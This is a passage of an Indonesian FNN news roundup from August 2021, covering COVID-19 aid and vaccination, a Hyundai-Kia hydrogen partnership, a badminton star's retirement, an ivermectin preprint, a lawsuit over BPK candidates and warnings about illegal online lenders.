mewajibkan vaksinasi sebagai syarat untuk pengambilan bantuan sosial. "Tidak boleh. Itu melanggar. Kalau dibagi kemudian dianjurkan vaksin, boleh. Tapi kalau dibagi dengan syarat sudah vaksin tidak boleh," kata Anies usai meninjau pelaksanaan vaksinasi dosis ketiga di RSUD Tarakan, Jakarta Pusat, Jumat. Anies menjelaskan bahwa penyaluran bantuan sosial (bansos) termasuk kegiatan bersifat kemanusiaan sehingga tidak boleh ada persyaratan khusus. Apalagi, bansos merupakan hak bagi warga yang terdampak PPKM Level 4 di Jawa dan Bali, khususnya di DKI Jakarta. (mth)

Kia-Hyundai Rangkul Perusahaan Kanada Produksi Hidrogen

Jakarta, FNN - Hyundai dan Kia telah meneken nota kesepahaman dengan Next Hydrogen, anak perusahaan Next Hydrogen Solutions Inc, untuk mengembangkan sistem elektrolisis air alkali untuk menghasilkan hidrogen hijau secara ekonomi dan lebih terjangkau. Proses untuk menghasilkan hidrogen bersih tergolong mahal dan memakan waktu. Karena alasan ini, Kia, Hyundai Motor, dan Next Hydrogen berupaya meningkatkan daya saing harga hidrogen bersih dengan mempertimbangkan iklim regional dan karakteristik lingkungan, kata Kia Motor Corporation dalam pernyataan resmi, dikutip Jumat. Di antara berbagai metode elektrolisis air, sistem elektrolisis air alkali dianggap sebagai salah satu cara yang paling teruji dan terbukti secara teknologi dengan rekam jejak penelitian dan pengembangan yang panjang. Selain itu, ia memiliki keuntungan karena dapat menghasilkan hidrogen skala besar dan menggunakan katalis yang relatif murah, sehingga membuat biaya fasilitas menjadi rendah. Tujuannya adalah untuk memajukan teknologi terkait sistem elektrolisis air alkali untuk mengurangi biaya pembangunan sistem dan pemeliharaan/pengoperasian sistem. Sistem elektrolisis air baru dikembangkan akan menggunakan teknologi komponen Kia dan Hyundai Motor yang terkait dengan elektroda, pelat bipolar, dan kolektor arus, dikombinasikan dengan teknologi desain Next Hydrogen. Kia dan Hyundai Motor juga akan mengawal uji ini. Uji coba direncanakan untuk tahun depan, dan perusahaan juga akan mengeksplorasi aplikasi teknologi potensial dan pengaturan komersial. "Kami senang dapat bermitra dengan Next Hydrogen yang berspesialisasi dalam teknologi elektrolisis air tercanggih. Kemitraan ini merupakan lompatan maju lainnya untuk bisnis hidrogen kami dan akan menjadi langkah pertama kami ke pasar elektrolisis air alkali," kata Jae-Hyuk Oh, Wakil Presiden dan Kepala Grup Pengembangan Bisnis Energi di Grup Hyundai Motor. "Teknologi desain tumpukan elektrolisis air yang inovatif dari Next Hydrogen adalah solusi ideal untuk memungkinkan produksi hidrogen hijau yang ekonomis,” kata Raveel Afzaal, Presiden dan CEO Next Hydrogen. Dipuji sebagai “bahan bakar masa depan” karena ramah lingkungan, hidrogen hijau memiliki potensi untuk merevolusi sektor industri dan transportasi dunia. Selain hidrogen hijau, apa yang disebut hidrogen "abu-abu" dibuat dengan bahan bakar fosil dan memancarkan CO2 ke udara saat mereka terbakar, sedangkan apa yang disebut hidrogen "biru" diproduksi dengan cara yang sama, tetapi teknologi penangkapan karbonnya mencegah CO2 dari dilepaskan ke udara dan sebagai gantinya menyimpan karbon dioksida jauh di bawah tanah. Karena biaya produksi yang tinggi, banyak perusahaan hidrogen di seluruh dunia sedang meneliti cara untuk memajukan teknologi elektrolisis air mereka untuk memproduksi hidrogen hijau secara lebih ekonomis. Tujuan bersama ini telah menyatukan Hyundai Motor Group dan Next Hydrogen untuk mengembangkan teknologi sebagai solusi yang lebih hemat biaya. Hyundai Motor Group, induk dari Kia dan Hyundai Motor, baru-baru ini memperkenalkan 'HTWO', merek baru yang mewakili sistem sel bahan bakar hidrogen yang terdepan di dunia. Grup meningkatkan upayanya untuk mengembangkan sistem sel bahan bakar hidrogen generasi berikutnya yang dapat diterapkan ke berbagai bentuk mobilitas seperti mobilitas udara perkotaan (UAM), mobil, kapal, dan kereta api, dan seterusnya. (mth)

Greysia Polii Belum Putuskan Pensiun, Tunggu Waktu yang Tepat

Jakarta, FNN - Pebulu tangkis Indonesia Greysia Polii akhirnya angkat bicara terkait rencana pensiun yang kembali mencuat setelah raihan medali emas Olimpiade Tokyo 2020 bersama pasangannya, Apriyani Rahayu. Capaian emas Olimpiade itu pun memunculkan banyak pertanyaan apakah Greysia akan menunda niat pensiun atau justru gantung raket. Namun ia mengaku masih menunggu waktu yang tepat untuk menemukan jawaban itu. “Sekarang tinggal menunggu waktu yang tepat untuk pensiun dari bulu tangkis. Karena saya sudah menikah, saya punya prioritas. Sebelum Olimpiade priroitas saya masih di bulu tangkis dan keluarga suami sangat mendukung luar biasa,” ungkap Greysia dalam jumpa pers virtual bersama Komite Olimpiade Indonesia (KOI), Jumat. Greysia kembali mengenang masa-masa saat ia terpuruk setelah didiskualifikasi di Olimpiade London 2012 bersama pasangannya kala itu, Meiliana Jauhari. Momen tersebut sempat membuat dia berpikir untuk pensiun meski umurnya masih 25 tahun. Namun perempuan yang akan menginjak usia 34 tahun itu memilih bangkit dan kembali tampil di Rio 2016 bersama tandem barunya, Nitya Krishinda Maheswari. Setelah itu, Greysia kembali berniat pensiun setelah pasangannya itu mengalami cedera dan harus menjalani operasi. “Pada saat itu saya sudah ancang-ancang harus pensiun, saya juga punya pasangan dan kami berencana menikah dan itu normal sekali di pikiran saya sebagai atlet wanita,” kenang atlet kelahiran 11 Agustus 1987 itu. “Tapi ternyata Tuhan berkata lain, meminta saya untuk do the extra miles. Ada Apri dan saya melihat pelatih minta tolong untuk menunggu sebentar, setelah 2016 itu enam bulan sampai setahun, terutama untuk mengangkat ganda putri agar berprestasi.” Ia pun kembali mengurungkan niatnya untuk mengakhiri kariernya sebagai atlet demi kemajuan para juniornya. Seiring berjalannya waktu, bertambahnya usia, dan dengan statusnya sebagai pemain paling senior, Greysia pun semakin merasakan perubahan dalam menjalani setiap pertandingan. Ia merasa bisa tampil tanpa beban karena sadar sulit untuk bisa bersaing kompetitif dengan pemain-pemain muda. “Sebenarnya empat tahun ini saya jalan nothing to lose. Kalau dulu masih muda saya menggebu-gebu tapi sewaktu sudah menikah dan senior saya hanya nothing to lose, saya mencintai apa yang lakukan…Suami dan keluarga juga mendukung luar biasa.” Meski mendapat dukungan dari suami dan keluarganya, Greysia sadar bahwa pada suatu hari ia harus berhenti demi melanjutkan kehidupan selanjutnya. “Di dalam kehidupan ada season di mana kita harus tahu kapan harus berhenti dan melanjutkan kehidupan lain. Jadi saya tidak bisa bilang kapan waktunya (pensiun),” pungkas dia. (mth)

Satgas Papua Minta Bantuan Kodam Cenderawasih Tangani COVID-19

Jayapura, FNN - Satgas COVID-19 Papua dipimpin Asisten II Sekda Papua Muhammad Musa'ad mengunjungi Panglima Kodam XVII/Cenderawasih Mayjen TNI Ignatius Yogo Triyono untuk meminta bantuan penanganan pencegahan virus corona menjelang penyelenggaraan PON XX Oktober 2021. Keterangan diterima ANTARA di Jayapura, Jumat, dilaporkan tim Satgas COVID-19 Papua dipimpin Asisten II Sekda Papua Muhammad Musa'ad, bersama ketua harian Satgas William R. Manderi, jubir tim dr. Silwanus Sumule, Spog, serta Kadis Kominfo Jeri Agus Yudianto, S.Kom berlangsung di ruang Cycloop Makodam XVII/Cenderawasih Jayapura. Kadis Kominfo Pemprov Papua Jeri Agus Yudianto menyampaikan, tim COVID-19 Prov. Papua berkunjung ke Kodam XVII/Cenderawasih adalah untuk bersilaturahmi dengan Pangdam XVII/Cenderawasih serta meminta bantuan Pangdam terkait penanganan penyebaran virus COVID-19, khususnya program vaksinasi nasional yang ada di wilayah Provinsi Papua. Terlebih lagi, lanjutnya, kedepan nantinya akan ada kegiatan nasional PON XX tahun 2021 di Papua yang akan diikuti oleh seluruh provinsi yang ada di Indonesia. "Oleh karenanya, diperlukan percepatan vaksinasi dalam rangka penanganan COVID-19 untuk masyarakat guna menyukseskan penyelenggaraan event nasional di Provinsi Papua," tambah Kadis Kominfo Papua. Sementara itu, Pangdam XVII/Cenderawasih Mayjen TNI Ignatius Yogo Triyono mengatakan, Kodam XVII/Cenderawasih akan membantu semaksimal mungkin dalam penanganan penyebaran virus corona dan program vaksinasi yang ada di Provinsi Papua. "Apapun kebijakan dari Pemerintah, kami Kodam XVII/Cenderawasih akan mendukung dan membantu penanganan virus COVID-19 serta program serbuan vaksinasi Nasional," kata Pangdam XVII/Cenderawasih. Selain itu,menurut Pangdam, Kodam XVII/Cenderawasih bersama dengan Polda Papua telah melaksanakan himbauan kepada masyarakat agar senantiasa mendisiplinkan diri dan mematuhi protokol kesehatan yang sudah ditetapkan Pemerintah. Terkait dengan penyelenggaraan PON XX yang akan dilaksanakan di Provinsi Papua, menurut Pangdam mengatakan akan membantu menyukseskan event Nasional tersebut. "Kodam XVII/Cenderawasih akan mendukung dan menyukseskan penyelenggaraan PON XX di Provinsi Papua," jelas Pangdam XVII/Cenderawasih. Hadir dalam acara tersebut, Asisten Operasi Kasdam XVII/Cenderawasih Kolonel Inf Surya Wibawa Suparman, Asisten Teritorial Kasdam XVII/Cenderawasih Kolonel Inf Teddy Arifianto S, Kepala Kesehatan Kodam XVII/Cenderawasih Kolonel Ckm dr. I Nyoman Linggih. (mth)

Bupati Luwu Utara Usul Obat Gratis bagi Pasien Isoman

Makassar, FNN - Bupati Luwu Utara Indah Putri Indriani mengusulkan pasien COVID-19 baik tanpa gejala maupun bergejala ringan yang melakukan isolasi mandiri, juga mendapatkan obat gratis bantuan pemerintah pusat. Usulan tersebut dikemukakan Indah pada Rapat Koordinasi Penanganan Pandemi COVID-19, Vaksinasi, dan Pemulihan Ekonomi di Provinsi Sulawesi Selatan secara virtual diikuti di Makassar, Jumat. Rakor tersebut dihadiri Plt. Gubernur Andi Sudirman Sulaiman, dan diikuti Bupati/Wali Kota se-Sulawesi Selatan di daerah masing-masing. Selama ini, paket bantuan obat-obatan gratis bagi pasien COVID-19 yang isoman sejauh ini didistribusikan oleh aparat TNI berdasarkan instruksi Presiden Joko Widodo, termasuk dibantu petugas puskesmas dan bidan desa di lapangan. Mencermati banyaknya pasien COVID-19 yang melakukan Isoman, Bupati Lutra pun mengusulkan bantuan obat gratis kepada mereka yang menjalani isoman. “Kami berharap juga ada dukungan obat gratis untuk warga kami yang menjalani isoman,” katanya. Pentingnya bantuan obat gratis bagi pasien isoman itu, lanjut dia, agar dapat membantu proses pemulihan dan menambah imun tubuh bagi yang terkonfirmasi positif, terutama bagi warga yang kurang mampu. Selain usulan obat gratis itu, Indah juga meminta agar pemberian booster untuk penyuntikan dosis ketiga vaksin moderna bagi pejabat Forkopimda yang mobile dalam penanganan COVID-19 dapat direalisasikan. "Apa yang diusulkan itu penting untuk membantu mereka yang menjalani Isoman, juga pentingnya booster vaksin ketiga untuk Forkopimda karena mobilitas tinggi, namun semua itu akan disesuaikan dengan kondisi di lapangan," katanya. Menaggapi usulan itu, Plt Gubernur menyambut positif, hanya saja masih butuh waktu dalam pengimplementasian di lapangan, karena ketersediaan obat dan vaksin sehingga dilakukan skala prioritas. (mth)

RST Wira Sakti Kupang Tangani 50 Pasien COVID-19/Bulan

Kota Kupang, FNN - RST TK III Wira Sakti Kupang, Nusa Tenggara Timur (NTT) rata-rata setiap bulan menangani 50 orang pasien terkonfirmasi COVID-19 di wilayah itu. "Rata-rata setiap bulan kami menangani 50 pasien COVID-19. Saat ini ada 85 pasien yang sedang kami tangani di RST Wira Sakti ini," kata Komadan Detasemen Kesehatan 04-09-01/Kupang Letkol Ckm dr. Agus Saptiady,Sp kepada ANTARA di Kupang, Jumat. Dia mengemukakan hal itu berkaitan dengan penanganan pasien COVID-19 di Rumah Sakit milik TNI itu dan kendala yang dihadapi selama penanganan pasien. Menurut dia, RST Wira Sakti memiliki kapasitas 160 tempat tidur pasien COVID-19. Kepala RST Wira Sakti Kupang Mayor Ckm dr Dini Henriyanto SpPD menambahkan sejauh ini tidak ada kendala dalam penanganan pasien COVID-19. Hanya obat-obatan untuk pasien COVID-19 saja yang susah diperoleh untuk membantu para pasien. "Saat ini tidak ada masalah dengan pasokan oksigen. Hanya obat- obatan Covid-19 yang susah kami dapat," kata dr Dini Henriyanto menambahkan. Letkol Ckm dr. Agus Saptiady juga mengimbau masyarakat untuk mematuhui protokol kesehatan yang sudah ditetapkan agar dapat terhindar dari bahaya COVID-19. (mth)

Pemerintah Ubah Regulasi Pengusahaan Gas Bumi pada Sektor Hilir

Jakarta, FNN - Menteri Energi dan Sumber Daya Mineral Arifin Tasrif telah menetapkan Peraturan Menteri ESDM Nomor 19 Tahun 2021 tentang Perubahan Atas Peraturan Menteri ESDM Nomor 04 Tahun 2018 tentang Pengusahaan Gas Bumi pada Kegiatan Usaha Hilir Minyak dan Gas Bumi. Perubahan tersebut sebagai langkah strategis meningkatkan pemanfaatan gas bumi dan percepatan pengembangan fasilitas dan penyaluran gas bumi kepada konsumen. "Revisi ini untuk percepatan perizinan niaga gas bumi," kata Direktur Pembinaan Usaha Hilir Migas Kementerian ESDM Soerjaningsih dalam keterangan yang dikutip di Jakarta, Jumat. Soerjaningsih menegaskan penetapan regulasi bertujuan untuk mempercepat dan memberi kemudahan perizinan serta memberikan kepastian hukum dalam berusaha bagi para badan usaha, serta memberikan keandalan pasokan konsumen gas bumi dan peluang usaha infrastruktur gas bumi. Dia menjelaskan tata kelola gas bumi dalam upaya efisiensi dan efektifitas ada pengaturan terkait alokasi gas bumi yang diberikan langsung kepada pengguna akhir atau sebaliknya badan usaha niaga yang menjual kepada pengguna akhir. Selain itu, pengaturan perizinan berusaha dan harga gas bumi mengenai peran BPH Migas dalam menetapkan hak khusus dan besaran toll fee atas ruas transmisi agar ada kepastian hukum dan berusaha bagi para badan usaha dan terpenuhinya hak-hak konsumen gas bumi. "Tidak ada peran BPH Migas yang ditiadakan dalam perubahan regulasi, melainkan digeser dari yang semula pada pemberian rekomendasi pada setiap badan usaha yang akan mengajukan izin menjadi informasi setiap perencanaan lelang," ujarnya. Soerjaningsih menerangkan bahwa rekomendasi tersebut fungsinya untuk mengonfirmasi rencana lelang Wilayah Jaringan Distribusi (WJD) yang sudah dimiliki BPH Migas, sehingga dokumen itu dapat dimintakan kepada BPH Migas berdasarkan rencana satu tahun berjalan. Kegiatan usaha niaga gas bumi melalui pipa dapat dilakukan oleh badan usaha lain setelah mendapatkan izin usaha niaga migas dari Menteri ESDM, jika wilayah yang dibangun belum masuk dalam penetapan rencana lelang WJD oleh BPH Migas pada tahun berjalan. Dalam regulasi terbaru itu, badan usaha pemegang izin usaha niaga migas dapat melakukan pengembangan fasilitas dan menyalurkan gas bumi kepada konsumen baru setelah melakukan penyesuaian izin usaha niaga migas sampai dengan ditetapkannya badan usaha pemegang hak khusus WJD. "Dengan adanya aturan ini, maka badan usaha dapat mengajukan izin ke pelanggan eksisting badan usaha lain dan pelanggan baru. Hal ini dalam rangka kehandalan pasokan bagi pelanggan," pungkas Soerjaningsih. (mth)

Imigrasi Makassar Deteksi WN Singapura Masuk Secara Ilegal

Makassar, FNN - Petugas Pelaksana Kantor Imigrasi Kelas I TPI Makassar mendetensi seorang warga negara (WN) Singapura Mahedy bin Ismail, karena masuk ke Indonesia secara ilegal tanpa disertai dokumen administrasi lengkap. Kepala Divisi Keimigrasian Kanwil Kemenkumham Sulsel Dodi Karnida, di Makassar, Jumat, mengatakan Mahedy bin Ismail adalah WN Singapura yang masuk ke Indonesia karena istrinya adalah warga negara Indonesia. "Jadi Mahedy bin Ismail ini masuk ke Indonesia karena istrinya orang Indonesia. Untuk sementara kami detensi dulu di Kantor Imigrasi Makassar " ujarnya. Dodi Karnida menjelaskan, sebelum mendetensi Mahedy, pihaknya telah mendapatkan informasi dari masyarakat bahwa terdapat warga negara asing berada di Kota Makassar yang memperistrikan seorang warga negara Indonesia. Ia mengatakan, berdasarkan informasi itu kemudian dilakukan operasi intelijen yang telah dilaksanakan sebelumnya pada 30 Juli 2021, di Pondok Anugerah, dan menemukan Mahedy bin Ismail. Petugas pelaksana kemudian meminta dokumen keimigrasian kepada Mahedy, namun tidak dapat memperlihatkan dokumen perjalanan, paspor atau kartu identitas lainnya. "Karena tidak dapat menunjukkan semua dokumen identitas yang ditanyakan oleh petugas, akhirnya Mahedy kami bawa ke kantor untuk dilakukan interogasi lebih lanjut dan memang betul, dia mengakui masuk Indonesia secara ilegal," katanya. Dodi menuturkan, dari pengakuan Mahedy juga diketahui jika dirinya telah menikahi seorang warga negara Indonesia atas nama Siti Aminah pada 2009 lalu di Malaysia. Ia juga mengaku pihaknya telah melakukan koordinasi dengan Kedutaan Besar (Kedubes) Singapura untuk Indonesia di Jakarta. Dari koordinasi tersebut, Kedubes Singapura bagian konsuler mengonfirmasi bahwa Mahedy bin Ismail merupakan warga negara Singapura. Usai koordinasi tersebut, kemudian diterbitkan Surat Perjalanan Laksana Paspor (emergency travel document) atas nama Mahedy bin Ismail oleh Kedutaan Besar Singapura menunggu keputusan dari Kantor Imigrasi Kelas I TPI Makassar. "Pada tanggal 4 Agustus 2021, atas permintaan Kedutaan Besar Singapura dilaksanakan telepon konferensi dengan melibatkan Mahedy bin Ismail, Kedubes Singapura, dan Kantor Imigrasi Kelas I TPI Makassar," ujarnya pula. Mahedy bin Ismail juga terakhir kali masuk ke Indonesia pada 2018 tanpa menggunakan dokumen perjalanan dan tanpa melewati tempat pemeriksaan Imigrasi, dengan tujuan untuk berkumpul bersama istri yang telah pulang ke Indonesia lebih dahulu dikarenakan alasan kesehatan. "Yang bersangkutan masuk melalui jalur tradisional/ilegal dari Batam, sehingga data perlintasan dan keberadaan yang bersangkutan di Indonesia tidak tercatat di dalam sistem keimigrasian," ujarnya lagi. Atas perbuatannya itu, Mahedy bin Ismail diduga melanggar aturan keimigrasian Pasal 119 ayat (1) UU. No.6 Tahun 2011 tentang Keimigrasian. Terkait dugaan pelanggaran, Seksi Intelijen dan Penindakan Keimigrasian Kantor Imigrasi Kelas I TPI Makassar masih melakukan penyelidikan untuk menemukan fakta dan bukti terkait lainnya. (mth)

Polres Rejang Lebong Lumpuhkan Perampok Petugas Ambulans COVID-19

Rejang Lebong, Bengkulu, FNN - Petugas Kepolisian Resor (Polres) Rejang Lebong, Bengkulu, melumpuhkan satu dari tujuh tersangka pelaku perampokan petugas ambulans COVID-19 yang beraksi di wilayah itu pada 3 Juli 2021. Kapolres Rejang Lebong AKBP Puji Prayitno di Mapolres Rejang Lebong, Jumat, mengatakan satu orang tersangka yang ditangkap setelah satu bulan buron, yakni DS (21) warga Desa Tanjung Aur, Kecamatan Sindang Kelingi, pada Jumat pagi, sekitar pukul 04.00 WIB. "Satu orang yang diamankan adalah DS, dia ditangkap tim gabungan saat bersembunyi di dalam kebun di Desa Tanjung Aur, Kecamatan Sindang Kelingi," kata dia. Dia menjelaskan tersangka perampokan dua orang petugas ambulans PSC 119 Rejang Lebong setelah pulang mengantar pasien COVID-19 bersama dengan enam orang lainnya yang kini masih dalam pencarian petugas. Tersangka DS terpaksa dilumpuhkan petugas gabungan Opsnal Polres Rejang Lebong dan petugas Polsek Padang Ulak Tanding (PUT) dengan timah panas lantaran saat akan ditangkap melawan dan berupaya melarikan diri. "Kita mengimbau enam orang pelaku lainnya segera menyerahkan diri agar bisa membuat kondisi masyarakat kondusif sehingga bisa bekerja dengan tenang dan mengundang investasi masuk ke Rejang Lebong," terangnya. Sebelumnya, aksi perampokan yang dilakukan tujuh orang pelaku dialami dua orang petugas ambulans PSC 119 Rejang Lebong pelat BD 9177 KY, pada Sabtu dini hari (3/7) sekitar pukul 01.00 WIB, tepatnya di Jalan Lintas Curup-Lubuklinggau Dusun Gardu, Desa Kepala Curup, Kecamatan Binduriang. Akibat kejadian ini, sopir ambulans dan perawat mobil ambulans COVID-19 ini harus kehilangan dua unit handphone, alat medis, dan uang Rp150 ribu. (sws)

Studi Double-Blind Ivermectin Mengungkapkan Pasien COVID Lebih Cepat Sembuh, Kurang Menular

Sebuah studi double-blind Israel telah menyimpulkan bahwa Ivermectin, anti-parasit murah yang banyak digunakan sejak 1981, mengurangi durasi dan penularan Covid-19, menurut Jerusalem Post, Rabu (04 Agustus 2021). Penelitian yang dilakukan oleh Prof. Eli Schwartz, pendiri Pusat Pengobatan Perjalanan dan Penyakit Tropis di Pusat Medis Sheba di Tel Hashomer, mengamati sekitar 89 sukarelawan yang memenuhi syarat berusia di atas 18 tahun yang telah dites positif terkena virus corona, dan tinggal di hotel Covid-19 yang dikelola negara. Setelah dibagi menjadi dua kelompok, 50% menerima Ivermectin, dan 50% menerima plasebo. Setiap pasien diberi obat selama tiga hari berturut-turut, satu jam sebelum makan.Sebanyak 83% peserta menunjukkan gejala saat perekrutan. Ada 13,5% pasien memiliki komorbiditas penyakit kardiovaskular, diabetes, penyakit pernapasan kronis, hipertensi atau kanker. Usia rata-rata pasien adalah 35, mulai dari 20 hingga 71 tahun. Pengobatan dihentikan pada hari ketiga, dan pasien dipantau setiap dua hari sesudahnya. Pada hari keenam, 72% dari mereka yang diobati dengan Ivermectin dites negatif untuk virus, vs 50% dari mereka yang menerima plasebo. Sementara itu, hanya 13% pasien ivermectin yang dapat menginfeksi orang lain setelah enam hari dibandingkan dengan 50% dari kelompok plasebo - hampir empat kali lipat. Tiga pasien dalam kelompok plasebo dirawat di rumah sakit karena gejala pernapasan, sementara satu pasien ivermectin dirawat di rumah sakit karena sesak napas pada hari penelitian dimulai - hanya untuk dipulangkan sehari kemudian dan dipulangkan ke hotel dalam kondisi baik. "Studi kami menunjukkan pertama dan terutama bahwa ivermectin memiliki aktivitas antivirus," kata Schwartz, menambahkan. "Ini juga menunjukkan bahwa hampir 100% kemungkinan seseorang tidak akan menularkan dalam empat sampai enam hari, yang dapat menyebabkan memperpendek waktu isolasi untuk orang-orang ini. Ini bisa memiliki dampak ekonomi dan sosial yang besar," lanjutnya. Studi, yang muncul di server pracetak MedRxiv dan belum ditinjau oleh rekan sejawat. Yang mengatakan, Schwartz menunjukkan bahwa penelitian serupa - 'meskipun tidak semuanya dilakukan dengan standar double-blind dan plasebo yang sama dengannya' - juga menunjukkan hasil yang menguntungkan untuk obat tersebut. (mth)

MAKI Akan Gugat Ketua DPR Puan Maharani

Jakarta, FNN - Koordinator Masyarakat Anti Korupsi Indonesia (MAKI) Boyamin Saiman menyatakan bahwa MAKI akan menggugat Ketua DPR RI Puan Maharani ke Pengadilan Tata Usaha Negara (PTUN) Jakarta. "MAKI akan gugat Puan Maharani perkara seleksi calon BPK," kata Boyamin melalui keterangan tertulis yang diterima oleh ANTARA di Jakarta, Jumat. Adapun gugatan tersebut terkait dengan penerbitan Surat Ketua Dewan Perwakilan Rakyat (DPR) Republik Indonesia Nomor PW/09428/DPR RI/VII/2021 tanggal 15 Juli 2021 kepada pimpinan DPD RI tentang Penyampaian Nama-Nama Calon Anggota BPK RI yang berisi 16 nama. Dari 16 orang tersebut terdapat dua orang calon Anggota Badan Pemeriksa Keuangan (BPK) Republik Indonesia yang diduga tidak memenuhi persyaratan, yaitu Nyoman Adhi Suryadnyana dan Harry Z. Soeratin. Berdasarkan daftar riwayat hidup Nyoman Adhi Suryadnyana pada periode 3 Oktober 2017-20 Desember 2019, ia menjabat sebagai Kepala Kantor Pengawasan dan Pelayanan Bea Cukai Manado (Kepala Satker Eselon III), yang notabene adalah pengelola keuangan negara (Kuasa Pengguna Anggaran/KPA). Sedangkan, Harry Z. Soeratin pada Juli 2020 lalu dilantik oleh Menteri Keuangan sebagai Sekretaris Direktorat Jenderal Perimbangan Keuangan (DJPK), yang notabene merupakan jabatan KPA. "Kedua orang tersebut harusnya tidak lolos seleksi karena bertentangan dengan Pasal 13 huruf j UU Nomor 15 Tahun 2006 tentang BPK," ucap Boyamin. Pasal tersebut menyatakan bahwa untuk dapat dipilih sebagai Anggota BPK, calon harus paling singkat telah dua tahun meninggalkan jabatan sebagai pejabat di lingkungan pengelola keuangan negara. Oleh karena itu, MAKI menyimpulkan bahwa ketentuan pasal tersebut mengandung makna, seorang Calon Anggota BPK dapat dipilih untuk menjadi Anggota BPK, apabila Calon Anggota BPK tersebut telah meninggalkan jabatan (tidak menjabat) di lingkungan pengelola keuangan negara paling singkat dua tahun terhitung sejak pengajuan sebagai Calon Anggota BPK. Atas dugaan tidak memenuhi persyaratan tersebut, MAKI akan mengajukan gugatan ke PTUN Jakarta, pekan depan. Gugatan ini bertujuan untuk membatalkan surat tersebut, termasuk membatalkan hasil seleksi calon anggota BPK yang tidak memenuhi persyaratan. MAKI merasa perlu mengawal DPR untuk mendapatkan calon anggota BPK yang baik dan integritas tinggi, termasuk tidak boleh meloloskan calon yang diduga tidak memenuhi persyaratan. (sws)

Kapolda Sulut Lepas Tenaga "Tracer" COVID-19

Manado, FNN - Kapolda Sulawesi Utara (Sulut) Irjen Pol Nana Sudjana melepas Bintara Remaja Polda tersebut untuk menjadi tenaga tracer COVID-19 di Manado, Jumat. Kapolda Nana Sudjana mengatakan, saat ini Polda Sulut sudah memiliki tenaga tracer lapangan sebanyak 783 personel yang terdiri dari 483 Bhabinkamtibmas dan 300 personel Polisi Penugasan Umum, dan telah melatih kembali sebanyak 410 personel Bintara Remaja tahun 2020 dan 2021. "Jadi total sekarang ini ada 1.193 tenaga tracer dari Polda Sulut," katanya. Ia menambahkan Bintara Remaja yang menjadi tenaga tracer ini akan disebar pada lima wilayah Polres tertinggi penyebaran COVID-19, yaitu Polresta Manado, Polres Minahasa Utara Polres Bitung, Polres Minahasa dan Polres Tomohon. Para personel tersebut sebelumnya sudah diberikan pelatihan tata cara melaksanakan tracing, teknik wawancara, cara pengisian formulir dan penggunaan aplikasi "Silacak" yang diberikan oleh tim pelatih dari Dinas Kesehatan Provinsi Sulut. “Saya harapkan kegiatan ini dapat dilaksanakan dengan baik. Tugas ini merupakan tugas mulia, tugas kemanusiaan untuk menanggulangi dan memberantas COVID-19, dan ini bisa menjadi ladang ibadah,” kata Kapolda Tugas dan tanggung jawab pencegahan COVID-19 ini, lanjut Kapolda, merupakan tugas bersama seluruh komponen yang ada. Mulai dari Pemerintah, TNI-Polri dan stakeholder lainnya, termasuk para tokoh agama, tokoh masyarakat, tokoh adat, tokoh pemuda dan seluruh masyarakat. Ia b​​​​​​Berharap semua masyarakat dapat disiplin dan mematuhi protokol kesehatan pencegahan COVID-19, mengikuti vaksinasi dan jika diperlukan dapat membantu petugas dalam pelaksanaan 3T (Testing, Tracing dan Treatment). “Masyarakat harus terbuka dan jangan takut, bantu petugas di lapangan. Saya harapkan keterbukaan dari masyarakat sehingga pelaksanaan tugas tracer ini lebih mudah dan mampu melacak penyebaran COVID-19,” kata mantan Kapolda Metro Jaya tersebut. Pada saat itu Kapolda juga memberikan perbekalan dalam pelaksanaan tugas berupa obat-obatan, multivitamin, masker dan hand sanitizer kepada para tenaga tracer Polri tersebut. Pada pelepasan atau pergeseran tenaga tracer yang tersebut, Kapolda Nana Sudjana didampingi Wakapolda Brigjen Pol Rudi Darmoko. (sws)

OJK Purwokerto Imbau Masyarakat Tidak Terjebak Pinjol Ilegal

Purwokerto, FNN - Kantor Otoritas Jasa Keuangan (KOJK) Purwokerto, Kabupaten Banyumas, Jawa Tengah, mengimbau masyarakat tidak terjebak berbagai kemudahan yang ditawarkan pinjaman online (pinjol) ilegal. "Saat ini, memang banyak sekali penawaran melalui pinjol, sehingga masyarakat dapat dengan mudah mengajukan pinjaman tanpa harus mengantre ke bank," kata Kepala KOJK Purwokerto Riwin Mihardi saat acara Ngobrol Pinter (Ngopi) yang diikuti wartawan secara virtual di Purwokerto, Banyumas, Jateng, Jumat. Akan tetapi, sebelum mengajukan pinjaman secara daring, kata dia, masyarakat harus bisa membedakan antara pinjol ilegal dan legal. Dalam hal ini, pinjol legal atau berizin akan cenderung patuh terhadap berbagai ketentuan karena diawasi oleh OJK, misalnya tagihan tidak boleh dua kali lipat melebihi pokok utangnya. Hal itu berbeda dengan pinjol ilegal atau tidak berizin yang memberikan tenor pendek dan fee pinjaman tinggi, sehingga tagihannya bisa lebih dari dua kali lipat pinjaman pokok. "Selain itu, pinjol ilegal akan meminta akses kamera, mikrofon, lokasi, kontak, dan gambar yang tersimpan di handphone kita. Kalau pinjol legal yang mendapatkan izin dari OJK, akses tidak boleh lebih dari kamera, mikrofon, dan lokasi, tidak boleh mengakses kontak maupun gambar," kata Riwin menjelaskan. Ia mengatakan jika akses kontak diberikan, hal itu akan memungkinkan bagi pengelola pinjol ilegal untuk mengakses orang-orang terdekat pengguna jasa tanpa seizin nasabahnya. Menurut dia, suku bunga yang diberikan oleh pinjol legal tidak boleh lebih dari 0,8 persen per hari dan hal itu bersifat mengikat, sehingga akan ditindak oleh OJK jika terjadi pelanggaran. Lebih lanjut, Riwin mengimbau masyarakat untuk menghubungi Aplikasi Portal Perlindungan Konsumen (APPK) OJK di laman kontak157.ojk.go.id jika mendapatkan menemukan tawaran investasi yang mencurigakan maupun pinjaman online yang dirasa ilegal. "Masyarakat juga bisa menghubungi Kontak OJK 157 melalui nomor telepon 157 atau layanan WhatsApp di nomor 081157157157," katanya. Ia mengatakan OJK melalui Satgas Waspada Investasi bekerja sama dengan Kepolisian Republik Indonesia hingga bulan Juli 2021 telah menutup 3.365 fintech lending (pinjol) ilegal. Menurut dia, hingga tanggal 27 Juli 2021 tercatat sebanyak 121 fintech lending atau pinjol legal yang terdaftar di OJK. Riwin mengakui sejak adanya APPK OJK, jumlah pengaduan masyarakat yang masuk langsung ke KOJK Purwokerto jauh berkurang. "Mungkin ini efek dari gencarnya edukasi yang kami lakukan sehingga masyarakat sudah bisa membedakan antara pinjol ilegal dan legal. Pengaduan melalui APPK yang terpusat di OJK meningkat signifikan dibandingkan pengaduan langsung ke KOJK, karena masyarakat sekarang sudah berani mengadu," katanya. Kendati demikian, dia mengatakan pihaknya juga sering kali menerima telepon dari masyarakat yang menanyakan perihal pinjol. Akan tetapi, pihaknya 